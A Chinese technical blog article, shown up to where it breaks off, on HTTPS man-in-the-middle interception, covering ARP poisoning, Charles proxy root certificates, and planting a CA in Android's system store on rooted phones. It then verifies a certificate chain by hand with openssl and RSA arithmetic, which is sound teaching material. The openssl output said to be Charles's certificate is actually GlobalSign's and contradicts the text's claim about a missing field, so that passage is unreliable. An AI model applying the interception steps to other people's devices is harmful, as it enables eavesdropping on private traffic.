HTTPS當下已經非常普遍,HTTPS全稱是Hypertext Transfer Protocol Secure,在HTTP基礎上增加了TLS加密,雖然名字里有個Secure,但HTTPS并不是絕對安全的,依然存在被中間人攻擊(
Man-in-the-middle attack)的風險,進而導致應用被抓包,HTTPS的加密流量被獲取。
這里舉個簡單的例子,幫助不了解MITM的讀者理解:假如A和B需要通信,這個時候來了一個C,C告訴A自己是B,同時告訴B自己是A,A和B都以為自己在和對方通信,實際上看到的消息都是由C轉發的,C就可以在這個過程中完成監聽和篡改,這就是中間人攻擊。
在真實的網絡中,要完成上述的過程,需要借助ARP欺騙。ARP是局域網中用IP來查找MAC地址的協議,正常的ARP查找過程中,請求的主機會向局域網發送廣播,查詢對應IP的MAC地址,局域網的其他主機如果不是這個IP就會忽略請求,對應IP的主機會回應自己的MAC地址。但是ARP協議在機制上就沒有考慮校驗的情況,只要收到一個ARP回應,主機就會更新自己的ARP表。ARP協議的簡單粗暴,讓ARP欺騙變得非常簡單。攻擊者只需要往一個局域網不斷發送ARP回應,就能更新各個主機的ARP表,從而達到上面一節說的目的,這個過程也被叫做ARP投毒。當然,更大范圍的中間人攻擊需要借助DNS投毒,這個就不細說,原理大致類似。
HTTPS在設計上是考慮到了中間人攻擊的情況的,TLS是支持雙向認證的(一般只需要客戶端校驗服務端身份),那么為什么還會存在中間人攻擊的風險呢?TLS的認證機制是基于證書的,關于證書的細節我們會在后面的篇幅里細講,這里不展開。我們如果沒有信任一些奇奇怪怪的證書,TLS是可以保證通信安全的,否則就會導致TLS的認證機制失效,從而被中間人攻擊。
抓包就是一個MITM的應用場景,這里以常用的Charles為例,看看HTTPS的加密是如何被繞過的。我們知道,如果要解密HTTPS流量,Charles會引導我們給手機安裝一個根證書,用文本編輯器打開可以看出是標準的pem格式:
-----BEGIN CERTIFICATE-----
MIIFQDCCBCigAwIBAgIGAXSrxEHXMA0GCSqGSIb3DQEBCwUAMIGkMTUwMwYDVQQD
DCxDaGFybGVzIFByb3h5IENBICgyMCBTZXAgMjAyMCwgQzAyRDM3RUhNRDZSKTEl
MCMGA1UECwwcaHR0cHM6Ly9jaGFybGVzcHJveHkuY29tL3NzbDERMA8GA1UECgwI
WEs3MiBMdGQxETAPBgNVBAcMCEF1Y2tsYW5kMREwDwYDVQQIDAhBdWNrbGFuZDEL
MAkGA1UEBhMCTlowHhcNMDAwMTAxMDAwMDAwWhcNNDkxMTE3MTM0NjM5WjCBpDE1
MDMGA1UEAwwsQ2hhcmxlcyBQcm94eSBDQSAoMjAgU2VwIDIwMjAsIEMwMkQzN0VI
TUQ2UikxJTAjBgNVBAsMHGh0dHBzOi8vY2hhcmxlc3Byb3h5LmNvbS9zc2wxETAP
BgNVBAoMCFhLNzIgTHRkMREwDwYDVQQHDAhBdWNrbGFuZDERMA8GA1UECAwIQXVj
a2xhbmQxCzAJBgNVBAYTAk5aMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAoMCTz31wG8zGwexoelqWd+q9WzQHtkFCReKjw0qRZ/8gjmUuj6pdmEg6FQFr
f9gnIiyPeME+J1gOfIp3z9i860VjviQGUwuPCBuU8G0eXBYZOE2kJvKx1G5QeI/c
hnGi3a3Sk5bGBUV1mMbS35OUkFVgvBygVyEjOF1SKDM/IT9jh5QV8uzhObDk+0F6
mjZ+uug2CDdQLNd4VqMClXrDaFk2gVpcnDatNI0p6doBlsxMedIFw0wPJaXfdl1M
CkPOwqgDpgh4J/3roGwJ5ky9zbE7l552jm/UjTRt5X7608IO5G0Kd5OutvxyqmZU
mYLDS0wcS+vZrPA6WwPUgT+TeQIDAQABo4IBdDCCAXAwDwYDVR0TAQH/BAUwAwEB
/zCCASwGCWCGSAGG+EIBDQSCAR0TggEZVGhpcyBSb290IGNlcnRpZmljYXRlIHdh
cyBnZW5lcmF0ZWQgYnkgQ2hhcmxlcyBQcm94eSBmb3IgU1NMIFByb3h5aW5nLiBJ
ZiB0aGlzIGNlcnRpZmljYXRlIGlzIHBhcnQgb2YgYSBjZXJ0aWZpY2F0ZSBjaGFp
biwgdGhpcyBtZWFucyB0aGF0IHlvdSdyZSBicm93c2luZyB0aHJvdWdoIENoYXJs
ZXMgUHJveHkgd2l0aCBTU0wgUHJveHlpbmcgZW5hYmxlZCBmb3IgdGhpcyB3ZWJz
aXRlLiBQbGVhc2Ugc2VlIGh0dHA6Ly9jaGFybGVzcHJveHkuY29tL3NzbCBmb3Ig
bW9yZSBpbmZvcm1hdGlvbi4wDgYDVR0PAQH/BAQDAgIEMB0GA1UdDgQWBBTtSzIK
BzFSToLLgoAPM4tSPWqDEDANBgkqhkiG9w0BAQsFAAOCAQEAnB+8XuuZAtE3WE03
xIu3rHw+sYdrSvV0es/xt1L2/gnnll/W7PvK4prG62sagblbbnLECLy8AKfN/gh9
aY9i6EXxee+vVy8GC8Cmo4TIv0asmPqUXBv+ggZCRNvnT1mtCvpkjgeEwGTXjqk6
Caq1X61WDzTg/EBPpqhSX10BTFRXLufVMfC/Qy5EdpgwCOm8SZnEwqgAW62GM81L
ngl+WIM+NLX5sdtSmkuhfikNR5rRvFPIjBU1t9qP77l/24Ov5BsGjcMfk3Pjzdqy
8V17WhQGRhb/k6nzlxrxWmQ4rdNVtKLWHD9ubozsX23z6B8l1GMDzYr3VbxdMpGP
V5eiGA==-----END CERTIFICATE-----
用openssl解析證書:
openssl x509 -text -in ~/Downloads/charles-ssl-proxying-certificate.pem
得到如下輸出:
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
04:00:00:00:00:01:0f:86:26:e6:0d
Signature Algorithm: sha1WithRSAEncryption
Issuer: OU=GlobalSign Root CA - R2, O=GlobalSign, CN=GlobalSign
Validity
Not Before: Dec 15 08:00:00 2006 GMT
Not After : Dec 15 08:00:00 2021 GMT
Subject: OU=GlobalSign Root CA - R2, O=GlobalSign, CN=GlobalSign
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:a6:cf:24:0e:be:2e:6f:28:99:45:42:c4:ab:3e:
21:54:9b:0b:d3:7f:84:70:fa:12:b3:cb:bf:87:5f:
c6:7f:86:d3:b2:30:5c:d6:fd:ad:f1:7b:dc:e5:f8:
60:96:09:92:10:f5:d0:53:de:fb:7b:7e:73:88:ac:
52:88:7b:4a:a6:ca:49:a6:5e:a8:a7:8c:5a:11:bc:
7a:82:eb:be:8c:e9:b3:ac:96:25:07:97:4a:99:2a:
07:2f:b4:1e:77:bf:8a:0f:b5:02:7c:1b:96:b8:c5:
b9:3a:2c:bc:d6:12:b9:eb:59:7d:e2:d0:06:86:5f:
5e:49:6a:b5:39:5e:88:34:ec:bc:78:0c:08:98:84:
6c:a8:cd:4b:b4:a0:7d:0c:79:4d:f0:b8:2d:cb:21:
ca:d5:6c:5b:7d:e1:a0:29:84:a1:f9:d3:94:49:cb:
24:62:91:20:bc:dd:0b:d5:d9:cc:f9:ea:27:0a:2b:
73:91:c6:9d:1b:ac:c8:cb:e8:e0:a0:f4:2f:90:8b:
4d:fb:b0:36:1b:f6:19:7a:85:e0:6d:f2:61:13:88:
5c:9f:e0:93:0a:51:97:8a:5a:ce:af:ab:d5:f7:aa:
09:aa:60:bd:dc:d9:5f:df:72:a9:60:13:5e:00:01:
c9:4a:fa:3f:a4:ea:07:03:21:02:8e:82:ca:03:c2:
9b:8f
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Key Usage: critical
Certificate Sign, CRL Sign
X509v3 Basic Constraints: critical
CA:TRUE
X509v3 Subject Key Identifier:
9B:E2:07:57:67:1C:1E:C0:6A:06:DE:59:B4:9A:2D:DF:DC:19:86:2E
X509v3 CRL Distribution Points:
Full Name:
URI:http://crl.globalsign.net/root-r2.crl
X509v3 Authority Key Identifier:
keyid:9B:E2:07:57:67:1C:1E:C0:6A:06:DE:59:B4:9A:2D:DF:DC:19:86:2E
Signature Algorithm: sha1WithRSAEncryption
99:81:53:87:1c:68:97:86:91:ec:e0:4a:b8:44:0b:ab:81:ac:
27:4f:d6:c1:b8:1c:43:78:b3:0c:9a:fc:ea:2c:3c:6e:61:1b:
4d:4b:29:f5:9f:05:1d:26:c1:b8:e9:83:00:62:45:b6:a9:08:
93:b9:a9:33:4b:18:9a:c2:f8:87:88:4e:db:dd:71:34:1a:c1:
54:da:46:3f:e0:d3:2a:ab:6d:54:22:f5:3a:62:cd:20:6f:ba:
29:89:d7:dd:91:ee:d3:5c:a2:3e:a1:5b:41:f5:df:e5:64:43:
2d:e9:d5:39:ab:d2:a2:df:b7:8b:d0:c0:80:19:1c:45:c0:2d:
8c:e8:f8:2d:a4:74:56:49:c5:05:b5:4f:15:de:6e:44:78:39:
87:a8:7e:bb:f3:79:18:91:bb:f4:6f:9d:c1:f0:8c:35:8c:5d:
01:fb:c3:6d:b9:ef:44:6d:79:46:31:7e:0a:fe:a9:82:c1:ff:
ef:ab:6e:20:c4:50:c9:5f:9d:4d:9b:17:8c:0c:e5:01:c9:a0:
41:6a:73:53:fa:a5:50:b4:6e:25:0f:fb:4c:18:f4:fd:52:d9:
8e:69:b1:e8:11:0f:de:88:d8:fb:1d:49:f7:aa:de:95:cf:20:
78:c2:60:12:db:25:40:8c:6a:fc:7e:42:38:40:64:12:f7:9e:
81:e1:93:2e
輸出中是沒有X509v3 Authority Key Identifier的字段的,根據RFC3280的定義,只有根證書允許省略這個字段:
The keyIdentifier field of the authorityKeyIdentifier extension MUST
be included in all certificates generated by conforming CAs to
facilitate certification path construction. There is one exception;
where a CA distributes its public key in the form of a "self-signed"
certificate, the authority key identifier MAY be omitted.
所以這是一個自簽名的根證書。當系統信任了根證書,那么根證書鏈下的所有子證書都會被認為合法,證書鏈的概念下面細說。Charles的抓包功能是通過中間人攻擊來完成的,根證書被信任,那么Charles只要用一個子證書來欺騙被抓包的客戶端,就能繞過TLS對中間人攻擊的防護。
在Android 6.0之前,用戶信任的CA證書會被認為是合法的,安裝一個根證書就能解密所有App的HTTPS流量,6.0之后加了個限制,只有系統內置的CA證書被信任,開發中的應用需要手動信任用戶添加的CA證書才行,這樣就只有手動信任了證書的應用流量能被解密:
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<domain-config>
<domain includeSubdomains="true">example.com</domain>
<trust-anchors>
<certificates src="@raw/my_ca"/>
</trust-anchors>
</domain-config>
</network-security-config>
那么有沒有在高版本Android上全局抓包的方法呢?還真有,對于ROOT過的手機,我們可以導出.0格式的證書,放到系統的/etc/security/cacerts/目錄下,這樣就會被認為是系統內置CA證書,從而達到抓取所有應用HTTPS流量的目的。
在講本文的主題SSL Pinning之前,需要介紹一些背景知識,下面幾節解釋了TLS握手過程,以及證書的校驗過程。
這里又要拿出Cloudflare的經典圖了:
這里描述的是TLS1.3之前的情況,細節不再贅述,可以看我之前的文章:TLS握手過程,我們只需要注意其中一個重點:服務端會把自己的證書發送給客戶端,而證書中包含了公鑰信息。
那么客戶端得到證書是如何校驗這個證書是合法的呢?這里就要引入證書鏈的概念,以Google為例:
可以看到,這里一共是有三級證書的,自底向上分別被稱為最終實體證書,中間證書和根證書。把三個證書拖出來,分別存成文件:
證書都是cer后綴,我們嘗試用DER解碼,先看看最終實體證書:
openssl x509 -text -inform der -in ~/Downloads/\*.google.com.cer
輸出如下信息:
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
31:79:87:25:0f:c0:be:e8:08:00:00:00:00:56:05:ed
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, O=Google Trust Services, CN=GTS CA 1O1
Validity
Not Before: Aug 26 08:08:49 2020 GMT
Not After : Nov 18 08:08:49 2020 GMT
Subject: C=US, ST=California, L=Mountain View, O=Google LLC, CN=*.google.com
Subject Public Key Info:
Public Key Algorithm: id-ecPublicKey
Public-Key: (256 bit)
pub:
04:8e:14:e9:f8:bb:ae:1f:c4:64:53:b7:d6:7a:76:
50:8b:ab:05:c6:2e:71:32:e0:3e:db:ef:1e:5a:34:
43:a4:74:6a:2b:52:38:75:03:f0:2d:fa:e6:da:82:
10:92:53:9b:a0:0e:28:ea:61:68:2b:0c:6d:df:22:
da:5f:14:1b:90
ASN1 OID: prime256v1
NIST CURVE: P-256
X509v3 extensions:
X509v3 Key Usage: critical
Digital Signature
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 Subject Key Identifier:
96:65:7B:C2:08:15:03:E1:C3:F8:50:DD:8F:B6:73:65:43:DF:8C:80
X509v3 Authority Key Identifier:
keyid:98:D1:F8:6E:10:EB:CF:9B:EC:60:9F:18:90:1B:A0:EB:7D:09:FD:2B
Authority Information Access:
OCSP - URI:http://ocsp.pki.goog/gts1o1core
CA Issuers - URI:http://pki.goog/gsr2/GTS1O1.crt
X509v3 Subject Alternative Name:
DNS:*.google.com, DNS:*.android.com, DNS:*.appengine.google.com, DNS:*.bdn.dev, DNS:*.cloud.google.com, DNS:*.crowdsource.google.com, DNS:*.datacompute.google.com, DNS:*.g.co, DNS:*.gcp.gvt2.com, DNS:*.gcpcdn.gvt1.com, DNS:*.ggpht.cn, DNS:*.gkecnapps.cn, DNS:*.google-analytics.com, DNS:*.google.ca, DNS:*.google.cl, DNS:*.google.co.in, DNS:*.google.co.jp, DNS:*.google.co.uk, DNS:*.google.com.ar, DNS:*.google.com.au, DNS:*.google.com.br, DNS:*.google.com.co, DNS:*.google.com.mx, DNS:*.google.com.tr, DNS:*.google.com.vn, DNS:*.google.de, DNS:*.google.es, DNS:*.google.fr, DNS:*.google.hu, DNS:*.google.it, DNS:*.google.nl, DNS:*.google.pl, DNS:*.google.pt, DNS:*.googleadapis.com, DNS:*.googleapis.cn, DNS:*.googlecnapps.cn, DNS:*.googlecommerce.com, DNS:*.googlevideo.com, DNS:*.gstatic.cn, DNS:*.gstatic.com, DNS:*.gstaticcnapps.cn, DNS:*.gvt1.com, DNS:*.gvt2.com, DNS:*.metric.gstatic.com, DNS:*.urchin.com, DNS:*.url.google.com, DNS:*.wear.gkecnapps.cn, DNS:*.youtube-nocookie.com, DNS:*.youtube.com, DNS:*.youtubeeducation.com, DNS:*.youtubekids.com, DNS:*.yt.be, DNS:*.ytimg.com, DNS:android.clients.google.com, DNS:android.com, DNS:developer.android.google.cn, DNS:developers.android.google.cn, DNS:g.co, DNS:ggpht.cn, DNS:gkecnapps.cn, DNS:goo.gl, DNS:google-analytics.com, DNS:google.com, DNS:googlecnapps.cn, DNS:googlecommerce.com, DNS:source.android.google.cn, DNS:urchin.com, DNS:www.goo.gl, DNS:youtu.be, DNS:youtube.com, DNS:youtubeeducation.com, DNS:youtubekids.com, DNS:yt.be
X509v3 Certificate Policies:
Policy: 2.23.140.1.2.2
Policy: 1.3.6.1.4.1.11129.2.5.3
X509v3 CRL Distribution Points:
Full Name:
URI:http://crl.pki.goog/GTS1O1core.crl
1.3.6.1.4.1.11129.2.4.2:
.v.....7~.b....a...{7.V..&[...K.ATn...t*........G0E. .i...V.i.U....g..}"..d.6.../R.V+.!..X..#.....S.}..7../.l.V=G....d....GF0M..j-u....~f.HZ
Signature Algorithm: sha256WithRSAEncryption
2f:de:47:43:cd:2d:0a:ed:6f:6d:3c:4b:39:0e:e6:05:17:74:
58:a7:33:f0:a1:10:0a:52:94:55:80:52:8a:5c:a0:88:73:35:
55:cd:d9:51:72:de:c2:96:5c:52:83:f2:ca:05:a1:72:60:06:
8e:da:4d:80:05:6a:60:fe:60:ab:cc:dc:02:67:84:41:47:cd:
eb:af:80:6b:ec:d5:0d:6e:56:5a:bd:00:47:d8:62:2f:4c:01:
93:76:10:bb:16:15:ca:d4:d9:b2:92:0e:5d:96:56:06:95:c3:
a6:d6:77:fb:97:b6:2f:66:06:7c:0c:21:91:ac:8c:84:16:61:
40:02:a9:f1:ca:62:e3:e0:72:da:7b:ab:3f:64:27:bb:d0:ff:
de:a0:c4:6d:a3:72:1d:bc:0e:1d:a7:6a:07:15:69:70:aa:63:
d2:68:ed:50:d2:44:c4:21:ca:b4:ec:73:0b:0c:b2:86:17:fa:
cd:4a:ca:57:2c:56:9d:17:10:0e:68:ce:6d:e1:00:d4:65:f1:
11:63:9f:e4:07:d9:fb:eb:36:7e:77:bc:94:a3:c5:04:8c:ca:
fa:ec:7a:a3:33:fb:b1:65:82:d0:2b:e7:02:29:f9:c4:91:da:
3e:62:3e:8a:da:29:c2:91:bb:60:cf:d6:d2:f4:5b:a5:19:37:
b1:ae:b8:7e
信息量非常大,我們關注幾個關鍵字段:
Signature Algorithm: sha256WithRSAEncryption表示證書的簽名是先使用SHA256做摘要,再對摘要做RSA加密生成的。
Public Key Algorithm: id-ecPublicKey,表示公鑰的算法是ECDSA,這是一個ECC證書,相比RSA算法,ECDSA的證書更小,運算也更快。
X509v3 Authority Key Identifier,不需要關心內容,有這個字段表示這不是自簽名的根證書。
X509v3 Subject Alternative Name,這里包含了證書適用的域名。
最后還有一段Signature Algorithm,這就是證書的簽名,配合前面的證書簽名算法可以完成證書鏈的校驗。
中間證書的結構大同小異,這里列出用于校驗的關鍵信息:
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:d0:18:cf:45:d4:8b:cd:d3:9c:e4:40:ef:7e:b4:
dd:69:21:1b:c9:cf:3c:8e:4c:75:b9:0f:31:19:84:
3d:9e:3c:29:ef:50:0d:10:93:6f:05:80:80:9f:2a:
a0:bd:12:4b:02:e1:3d:9f:58:16:24:fe:30:9f:0b:
74:77:55:93:1d:4b:f7:4d:e1:92:82:10:f6:51:ac:
0c:c3:b2:22:94:0f:34:6b:98:10:49:e7:0b:9d:83:
39:dd:20:c6:1c:2d:ef:d1:18:61:65:e7:23:83:20:
a8:23:12:ff:d2:24:7f:d4:2f:e7:44:6a:5b:4d:d7:
50:66:b0:af:9e:42:63:05:fb:e0:1c:c4:63:61:af:
9f:6a:33:ff:62:97:bd:48:d9:d3:7c:14:67:dc:75:
dc:2e:69:e8:f8:6d:78:69:d0:b7:10:05:b8:f1:31:
c2:3b:24:fd:1a:33:74:f8:23:e0:ec:6b:19:8a:16:
c6:e3:cd:a4:cd:0b:db:b3:a4:59:60:38:88:3b:ad:
1d:b9:c6:8c:a7:53:1b:fc:bc:d9:a4:ab:bc:dd:3c:
61:d7:93:15:98:ee:81:bd:8f:e2:64:47:20:40:06:
4e:d7:ac:97:e8:b9:c0:59:12:a1:49:25:23:e4:ed:
70:34:2c:a5:b4:63:7c:f9:a3:3d:83:d1:cd:6d:24:
ac:07
Exponent: 65537 (0x10001)
這一段給出了中間證書的公鑰,因為是RSA算法,所以這里有一個Modulus和一個Exponent。最終實體證書的簽名是用中間證書的私鑰對最終實體證書的摘要加密得到,所以對應的解密過程是用中間證書的公鑰解密最終實體證書的簽名,能得出最終實體證書的摘要,如果能解密成功,就能確認最終實體證書確實是由中間證書簽名的,再對最終實體證書做一次摘要,和解密出得摘要比對,如果一致即可確認證書沒用被篡改過。
我們手動實現一下這個過程:
已知指數,模和密文,我們需要還原出原文,根據RSA算法,計算原文的算法如下,其中m是明文,c是密文,e是指數,n是模:
m=c ^ e (mod n)
代入上面證書里的值:
>>> n=0x00d018cf45d48bcdd39ce440ef7eb4dd69211bc9cf3c8e4c75b90f3119843d9e3c29ef500d10936f0580809f2aa0bd124b02e13d9f581624fe309f0b747755931d4bf74de1928210f651ac0cc3b222940f346b981049e70b9d8339dd20c61c2defd1186165e7238320a82312ffd2247fd42fe7446a5b4dd75066b0af9e426305fbe01cc46361af9f6a33ff6297bd48d9d37c1467dc75dc2e69e8f86d7869d0b71005b8f131c23b24fd1a3374f823e0ec6b198a16c6e3cda4cd0bdbb3a4596038883bad1db9c68ca7531bfcbcd9a4abbcdd3c61d7931598ee81bd8fe264472040064ed7ac97e8b9c05912a1492523e4ed70342ca5b4637cf9a33d83d1cd6d24ac07
>>> e=65537
>>> c=0x2fde4743cd2d0aed6f6d3c4b390ee605177458a733f0a1100a52945580528a5ca088733555cdd95172dec2965c5283f2ca05a17260068eda4d80056a60fe60abccdc0267844147cdebaf806becd50d6e565abd0047d8622f4c01937610bb1615cad4d9b2920e5d96560695c3a6d677fb97b62f66067c0c2191ac8c8416614002a9f1ca62e3e072da7bab3f6427bbd0ffdea0c46da3721dbc0e1da76a07156970aa63d268ed50d244c421cab4ec730b0cb28617facd4aca572c569d17100e68ce6de100d465f111639fe407d9fbeb367e77bc94a3c5048ccafaec7aa333fbb16582d02be70229f9c491da3e623e8ada29c291bb60cfd6d2f45ba51937b1aeb87e
>>> pow(c, e, n)
986236757547332986472011617696226561292849812918563355472727826767720188564083584387121625107510786855734801053524719833194566624465665316622563244215340671405971599343902468620306327831715457360719532421388780770165778156818229863337344187575566725786793391480600129482653072861971002459947277805295727097226389568776499707662505334062639449916265137796823793276300221537201727072401742985542559596685092673521228140822200236743113743661549252453726123450722876929538747702356573783116197523966334991563351853851212597377279504828784763247643211048750059383511539240076118611220389103205312907651075225923933445
>>> print('0x%x' % pow(c, e, n))
0x1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff003031300d060960864801650304020105000420cd55ba8e69bcc9a1c2aaba552982abd5519051f5708cb6f9885cd3a7d28cd505
最后這一段密文就是最終實體證書的摘要,我們再用openssl手動算一次摘要,看是否一致。先把證書轉換成ANS.1格式,這是一種和protobuffer很相似的描述,都是tag, length, value的形式。
openssl asn1parse -inform der -in ~/Downloads/\*.google.com.cer
輸出如下:
0:d=0 hl=4 l=2416 cons: SEQUENCE
4:d=1 hl=4 l=2136 cons: SEQUENCE
8:d=2 hl=2 l=3 cons: cont [ 0 ]
10:d=3 hl=2 l=1 prim: INTEGER :02
13:d=2 hl=2 l=16 prim: INTEGER :317987250FC0BEE808000000005605ED
31:d=2 hl=2 l=13 cons: SEQUENCE
33:d=3 hl=2 l=9 prim: OBJECT :sha256WithRSAEncryption
44:d=3 hl=2 l=0 prim: NULL
46:d=2 hl=2 l=66 cons: SEQUENCE
48:d=3 hl=2 l=11 cons: SET
50:d=4 hl=2 l=9 cons: SEQUENCE
52:d=5 hl=2 l=3 prim: OBJECT :countryName
57:d=5 hl=2 l=2 prim: PRINTABLESTRING :US
61:d=3 hl=2 l=30 cons: SET
63:d=4 hl=2 l=28 cons: SEQUENCE
65:d=5 hl=2 l=3 prim: OBJECT :organizationName
70:d=5 hl=2 l=21 prim: PRINTABLESTRING :Google Trust Services
93:d=3 hl=2 l=19 cons: SET
95:d=4 hl=2 l=17 cons: SEQUENCE
97:d=5 hl=2 l=3 prim: OBJECT :commonName
102:d=5 hl=2 l=10 prim: PRINTABLESTRING :GTS CA 1O1
114:d=2 hl=2 l=30 cons: SEQUENCE
116:d=3 hl=2 l=13 prim: UTCTIME :200826080849Z
131:d=3 hl=2 l=13 prim: UTCTIME :201118080849Z
146:d=2 hl=2 l=102 cons: SEQUENCE
148:d=3 hl=2 l=11 cons: SET
150:d=4 hl=2 l=9 cons: SEQUENCE
152:d=5 hl=2 l=3 prim: OBJECT :countryName
157:d=5 hl=2 l=2 prim: PRINTABLESTRING :US
161:d=3 hl=2 l=19 cons: SET
163:d=4 hl=2 l=17 cons: SEQUENCE
165:d=5 hl=2 l=3 prim: OBJECT :stateOrProvinceName
170:d=5 hl=2 l=10 prim: PRINTABLESTRING :California
182:d=3 hl=2 l=22 cons: SET
184:d=4 hl=2 l=20 cons: SEQUENCE
186:d=5 hl=2 l=3 prim: OBJECT :localityName
191:d=5 hl=2 l=13 prim: PRINTABLESTRING :Mountain View
206:d=3 hl=2 l=19 cons: SET
208:d=4 hl=2 l=17 cons: SEQUENCE
210:d=5 hl=2 l=3 prim: OBJECT :organizationName
215:d=5 hl=2 l=10 prim: PRINTABLESTRING :Google LLC
227:d=3 hl=2 l=21 cons: SET
229:d=4 hl=2 l=19 cons: SEQUENCE
231:d=5 hl=2 l=3 prim: OBJECT :commonName
236:d=5 hl=2 l=12 prim: UTF8STRING :*.google.com
250:d=2 hl=2 l=89 cons: SEQUENCE
252:d=3 hl=2 l=19 cons: SEQUENCE
254:d=4 hl=2 l=7 prim: OBJECT :id-ecPublicKey
263:d=4 hl=2 l=8 prim: OBJECT :prime256v1
273:d=3 hl=2 l=66 prim: BIT STRING
341:d=2 hl=4 l=1799 cons: cont [ 3 ]
345:d=3 hl=4 l=1795 cons: SEQUENCE
349:d=4 hl=2 l=14 cons: SEQUENCE
351:d=5 hl=2 l=3 prim: OBJECT :X509v3 Key Usage
356:d=5 hl=2 l=1 prim: BOOLEAN :255
359:d=5 hl=2 l=4 prim: OCTET STRING [HEX DUMP]:03020780
365:d=4 hl=2 l=19 cons: SEQUENCE
367:d=5 hl=2 l=3 prim: OBJECT :X509v3 Extended Key Usage
372:d=5 hl=2 l=12 prim: OCTET STRING [HEX DUMP]:300A06082B06010505070301
386:d=4 hl=2 l=12 cons: SEQUENCE
388:d=5 hl=2 l=3 prim: OBJECT :X509v3 Basic Constraints
393:d=5 hl=2 l=1 prim: BOOLEAN :255
396:d=5 hl=2 l=2 prim: OCTET STRING [HEX DUMP]:3000
400:d=4 hl=2 l=29 cons: SEQUENCE
402:d=5 hl=2 l=3 prim: OBJECT :X509v3 Subject Key Identifier
407:d=5 hl=2 l=22 prim: OCTET STRING [HEX DUMP]:041496657BC2081503E1C3F850DD8FB6736543DF8C80
431:d=4 hl=2 l=31 cons: SEQUENCE
433:d=5 hl=2 l=3 prim: OBJECT :X509v3 Authority Key Identifier
438:d=5 hl=2 l=24 prim: OCTET STRING [HEX DUMP]:3016801498D1F86E10EBCF9BEC609F18901BA0EB7D09FD2B
464:d=4 hl=2 l=104 cons: SEQUENCE
466:d=5 hl=2 l=8 prim: OBJECT :Authority Information Access
476:d=5 hl=2 l=92 prim: OCTET STRING [HEX DUMP]:305A302B06082B06010505073001861F687474703A2F2F6F6373702E706B692E676F6F672F677473316F31636F7265302B06082B06010505073002861F687474703A2F2F706B692E676F6F672F677372322F475453314F312E637274
570:d=4 hl=4 l=1218 cons: SEQUENCE
574:d=5 hl=2 l=3 prim: OBJECT :X509v3 Subject Alternative Name
579:d=5 hl=4 l=1209 prim: OCTET STRING [HEX DUMP]:308204B5820C2A2E676F6F676C652E636F6D820D2A2E616E64726F69642E636F6D82162A2E617070656E67696E652E676F6F676C652E636F6D82092A2E62646E2E64657682122A2E636C6F75642E676F6F676C652E636F6D82182A2E63726F7764736F757263652E676F6F676C652E636F6D82182A2E64617461636F6D707574652E676F6F676C652E636F6D82062A2E672E636F820E2A2E6763702E677674322E636F6D82112A2E67637063646E2E677674312E636F6D820A2A2E67677068742E636E820E2A2E676B65636E617070732E636E82162A2E676F6F676C652D616E616C79746963732E636F6D820B2A2E676F6F676C652E6361820B2A2E676F6F676C652E636C820E2A2E676F6F676C652E636F2E696E820E2A2E676F6F676C652E636F2E6A70820E2A2E676F6F676C652E636F2E756B820F2A2E676F6F676C652E636F6D2E6172820F2A2E676F6F676C652E636F6D2E6175820F2A2E676F6F676C652E636F6D2E6272820F2A2E676F6F676C652E636F6D2E636F820F2A2E676F6F676C652E636F6D2E6D78820F2A2E676F6F676C652E636F6D2E7472820F2A2E676F6F676C652E636F6D2E766E820B2A2E676F6F676C652E6465820B2A2E676F6F676C652E6573820B2A2E676F6F676C652E6672820B2A2E676F6F676C652E6875820B2A2E676F6F676C652E6974820B2A2E676F6F676C652E6E6C820B2A2E676F6F676C652E706C820B2A2E676F6F676C652E707482122A2E676F6F676C656164617069732E636F6D820F2A2E676F6F676C65617069732E636E82112A2E676F6F676C65636E617070732E636E82142A2E676F6F676C65636F6D6D657263652E636F6D82112A2E676F6F676C65766964656F2E636F6D820C2A2E677374617469632E636E820D2A2E677374617469632E636F6D82122A2E67737461746963636E617070732E636E820A2A2E677674312E636F6D820A2A2E677674322E636F6D82142A2E6D65747269632E677374617469632E636F6D820C2A2E75726368696E2E636F6D82102A2E75726C2E676F6F676C652E636F6D82132A2E776561722E676B65636E617070732E636E82162A2E796F75747562652D6E6F636F6F6B69652E636F6D820D2A2E796F75747562652E636F6D82162A2E796F7574756265656475636174696F6E2E636F6D82112A2E796F75747562656B6964732E636F6D82072A2E79742E6265820B2A2E7974696D672E636F6D821A616E64726F69642E636C69656E74732E676F6F676C652E636F6D820B616E64726F69642E636F6D821B646576656C6F7065722E616E64726F69642E676F6F676C652E636E821C646576656C6F706572732E616E64726F69642E676F6F676C652E636E8204672E636F820867677068742E636E820C676B65636E617070732E636E8206676F6F2E676C8214676F6F676C652D616E616C79746963732E636F6D820A676F6F676C652E636F6D820F676F6F676C65636E617070732E636E8212676F6F676C65636F6D6D657263652E636F6D8218736F757263652E616E64726F69642E676F6F676C652E636E820A75726368696E2E636F6D820A7777772E676F6F2E676C8208796F7574752E6265820B796F75747562652E636F6D8214796F7574756265656475636174696F6E2E636F6D820F796F75747562656B6964732E636F6D820579742E6265
1792:d=4 hl=2 l=33 cons: SEQUENCE
1794:d=5 hl=2 l=3 prim: OBJECT :X509v3 Certificate Policies
1799:d=5 hl=2 l=26 prim: OCTET STRING [HEX DUMP]:30183008060667810C010202300C060A2B06010401D679020503
1827:d=4 hl=2 l=51 cons: SEQUENCE
1829:d=5 hl=2 l=3 prim: OBJECT :X509v3 CRL Distribution Points
1834:d=5 hl=2 l=44 prim: OCTET STRING [HEX DUMP]:302A3028A026A0248622687474703A2F2F63726C2E706B692E676F6F672F475453314F31636F72652E63726C
